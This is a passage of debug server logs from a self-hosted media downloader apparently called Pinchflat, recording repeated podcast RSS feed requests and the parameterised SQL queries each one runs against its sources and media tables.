%{"uuid" => "16b58d74-5ec6-42de-be76-95f451d88dd3"} Pipelines: [:maybe_basic_auth] 18:08:26.397 [debug] QUERY OK source="sources" db=0.3ms idle=1228.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["16b58d74-5ec6-42de-be76-95f451d88dd3"] 18:08:26.407 [debug] QUERY OK source="media_items" db=10.0ms idle=900.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [6, 2000] 18:08:26.441 [debug] QUERY OK source="source_metadata" db=0.1ms idle=803.4ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [6] 18:08:26.441 [debug] QUERY OK source="media_metadata" db=0.1ms idle=803.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1563742] 18:08:26.444 [info] Sent 200 in 47ms 18:08:26.449 [info] GET /sources/9780c114-461c-46c1-8ce2-ab0b457f4920/feed.xml 18:08:26.449 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "9780c114-461c-46c1-8ce2-ab0b457f4920"} Pipelines: [:maybe_basic_auth] 18:08:26.449 [debug] QUERY OK source="sources" db=0.1ms idle=811.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["9780c114-461c-46c1-8ce2-ab0b457f4920"] 18:08:26.452 [debug] QUERY OK source="media_items" db=2.0ms idle=52.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [9, 2000] 18:08:26.460 [debug] QUERY OK source="source_metadata" db=0.0ms idle=52.6ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [9] 18:08:26.460 [debug] QUERY OK source="media_metadata" db=0.0ms idle=18.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1564145] 18:08:26.460 [info] Sent 200 in 11ms 18:08:27.478 [info] GET /sources/83ea5afa-eeae-4556-963d-77f17fc65947/feed.xml 18:08:27.478 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "83ea5afa-eeae-4556-963d-77f17fc65947"} Pipelines: [:maybe_basic_auth] 18:08:27.479 [debug] QUERY OK source="sources" db=0.2ms idle=1028.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["83ea5afa-eeae-4556-963d-77f17fc65947"] 18:08:27.479 [debug] QUERY OK source="media_items" db=0.7ms idle=1027.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [18, 2000] 18:08:27.480 [debug] QUERY OK source="source_metadata" db=0.0ms idle=1019.7ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [18] 18:08:27.480 [info] Sent 200 in 1ms 18:08:28.289 [info] GET /sources/a9100910-ac63-4f4f-8bb2-2a507e1563c7/feed.xml 18:08:28.289 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "a9100910-ac63-4f4f-8bb2-2a507e1563c7"} Pipelines: [:maybe_basic_auth] 18:08:28.289 [debug] QUERY OK source="sources" db=0.2ms idle=810.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["a9100910-ac63-4f4f-8bb2-2a507e1563c7"] 18:08:28.299 [debug] QUERY OK source="media_items" db=9.0ms idle=810.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [38, 2000] 18:08:28.349 [debug] QUERY OK source="source_metadata" db=0.0ms idle=869.4ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [38] 18:08:28.349 [debug] QUERY OK source="media_metadata" db=0.0ms idle=850.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1564174] 18:08:28.351 [info] Sent 200 in 61ms 18:08:28.481 [info] GET /sources/795ca408-4bd9-43e6-9cce-4e8e49187aca/feed.xml 18:08:28.481 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "795ca408-4bd9-43e6-9cce-4e8e49187aca"} Pipelines: [:maybe_basic_auth] 18:08:28.482 [debug] QUERY OK source="sources" db=0.1ms idle=603.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["795ca408-4bd9-43e6-9cce-4e8e49187aca"] 18:08:28.483 [debug] QUERY OK source="media_items" db=0.7ms idle=192.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [36, 2000] 18:08:28.483 [debug] QUERY OK source="source_metadata" db=0.0ms idle=184.4ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [36] 18:08:28.483 [debug] QUERY OK source="media_metadata" db=0.0ms idle=133.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1564179] 18:08:28.483 [info] Sent 200 in 1ms 18:08:28.890 [info] GET /sources/03326ffe-bc9f-49e9-b871-f1a05c201b77/feed.xml 18:08:28.890 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "03326ffe-bc9f-49e9-b871-f1a05c201b77"} Pipelines: [:maybe_basic_auth] 18:08:28.890 [debug] QUERY OK source="sources" db=0.1ms idle=408.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["03326ffe-bc9f-49e9-b871-f1a05c201b77"] 18:08:28.891 [debug] QUERY OK source="media_items" db=0.4ms idle=407.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [20, 2000] 18:08:28.891 [debug] QUERY OK source="source_metadata" db=0.0ms idle=408.3ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [20] 18:08:28.891 [debug] QUERY OK source="media_metadata" db=0.0ms idle=408.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1564176] 18:08:28.892 [info] Sent 200 in 1ms 18:08:29.269 [info] GET /sources/23662757-adf4-4a33-adf1-b92fb2169582/feed.xml 18:08:29.269 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "23662757-adf4-4a33-adf1-b92fb2169582"} Pipelines: [:maybe_basic_auth] 18:08:29.270 [debug] QUERY OK source="sources" db=0.1ms idle=770.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["23662757-adf4-4a33-adf1-b92fb2169582"] 18:08:29.275 [debug] QUERY OK source="media_items" db=4.6ms idle=379.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [37, 2000] 18:08:29.294 [debug] QUERY OK source="source_metadata" db=0.0ms idle=402.8ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [37] 18:08:29.294 [debug] QUERY OK source="media_metadata" db=0.0ms idle=402.5ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1564182] 18:08:29.295 [info] Sent 200 in 25ms 18:08:30.244 [info] {"source":"oban","duration":10048,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:08:30.324 [info] GET /sources/c51e32e0-2c05-4283-a353-f696e78984fa/feed.xml 18:08:30.324 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "c51e32e0-2c05-4283-a353-f696e78984fa"} Pipelines: [:maybe_basic_auth] 18:08:30.325 [debug] QUERY OK source="sources" db=0.2ms idle=1049.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["c51e32e0-2c05-4283-a353-f696e78984fa"] 18:08:30.325 [debug] QUERY OK source="media_items" db=0.3ms queue=0.1ms idle=1030.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [13, 2000] 18:08:30.326 [debug] QUERY OK source="source_metadata" db=0.0ms idle=1031.5ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [13] 18:08:30.326 [debug] QUERY OK source="media_metadata" db=0.1ms idle=824.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1564168] 18:08:30.326 [info] Sent 200 in 1ms 18:08:30.620 [info] GET /sources/064999f2-9abb-45b5-9ea9-dd6f79a26a8a/feed.xml 18:08:30.620 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "064999f2-9abb-45b5-9ea9-dd6f79a26a8a"} Pipelines: [:maybe_basic_auth] 18:08:30.620 [debug] QUERY OK source="sources" db=0.1ms idle=295.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["064999f2-9abb-45b5-9ea9-dd6f79a26a8a"] 18:08:30.638 [debug] QUERY OK source="media_items" db=18.0ms idle=294.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [40, 2000] 18:08:30.710 [debug] QUERY OK source="source_metadata" db=0.1ms idle=384.6ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [40] 18:08:30.711 [debug] QUERY OK source="media_metadata" db=0.0ms idle=384.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1564166] 18:08:30.715 [info] Sent 200 in 94ms 18:08:30.949 [info] GET /sources/66a9988d-2485-4058-98cc-a70582045a5a/feed.xml 18:08:30.949 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "66a9988d-2485-4058-98cc-a70582045a5a"} Pipelines: [:maybe_basic_auth] 18:08:30.950 [debug] QUERY OK source="sources" db=0.1ms idle=447.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["66a9988d-2485-4058-98cc-a70582045a5a"] 18:08:30.956 [debug] QUERY OK source="media_items" db=6.5ms idle=329.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [11, 2000] 18:08:30.981 [debug] QUERY OK source="source_metadata" db=0.1ms idle=343.0ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [11] 18:08:30.982 [debug] QUERY OK source="media_metadata" db=0.0ms idle=271.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1563739] 18:08:30.985 [info] Sent 200 in 35ms 18:08:31.273 [info] GET /sources/ddb05a95-3284-467b-8e82-eb2e6e446d3c/feed.xml 18:08:31.273 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "ddb05a95-3284-467b-8e82-eb2e6e446d3c"} Pipelines: [:maybe_basic_auth] 18:08:31.274 [debug] QUERY OK source="sources" db=0.1ms idle=562.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["ddb05a95-3284-467b-8e82-eb2e6e446d3c"] 18:08:31.275 [debug] QUERY OK source="media_items" db=1.1ms idle=324.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [25, 2000] 18:08:31.276 [debug] QUERY OK source="source_metadata" db=0.0ms idle=319.6ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [25] 18:08:31.276 [debug] QUERY OK source="media_metadata" db=0.0ms idle=294.5ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1564178] 18:08:31.276 [info] Sent 200 in 2ms 18:08:32.755 [info] GET /sources/03fa4859-7b6c-4a0d-aca4-32d3dd1f2b25/feed.xml 18:08:32.755 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "03fa4859-7b6c-4a0d-aca4-32d3dd1f2b25"} Pipelines: [:maybe_basic_auth] 18:08:32.755 [debug] QUERY OK source="sources" db=0.1ms idle=1479.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["03fa4859-7b6c-4a0d-aca4-32d3dd1f2b25"] 18:08:32.756 [debug] QUERY OK source="media_items" db=0.8ms idle=1479.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [16, 2000] 18:08:32.756 [debug] QUERY OK source="source_metadata" db=0.0ms idle=1479.9ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [16] 18:08:32.756 [info] Sent 200 in 1ms 18:08:33.842 [info] GET /sources/c299bcbc-8900-4aab-a003-f3e99352d063/feed.xml 18:08:33.842 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "c299bcbc-8900-4aab-a003-f3e99352d063"} Pipelines: [:maybe_basic_auth] 18:08:33.842 [debug] QUERY OK source="sources" db=0.1ms idle=1086.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", 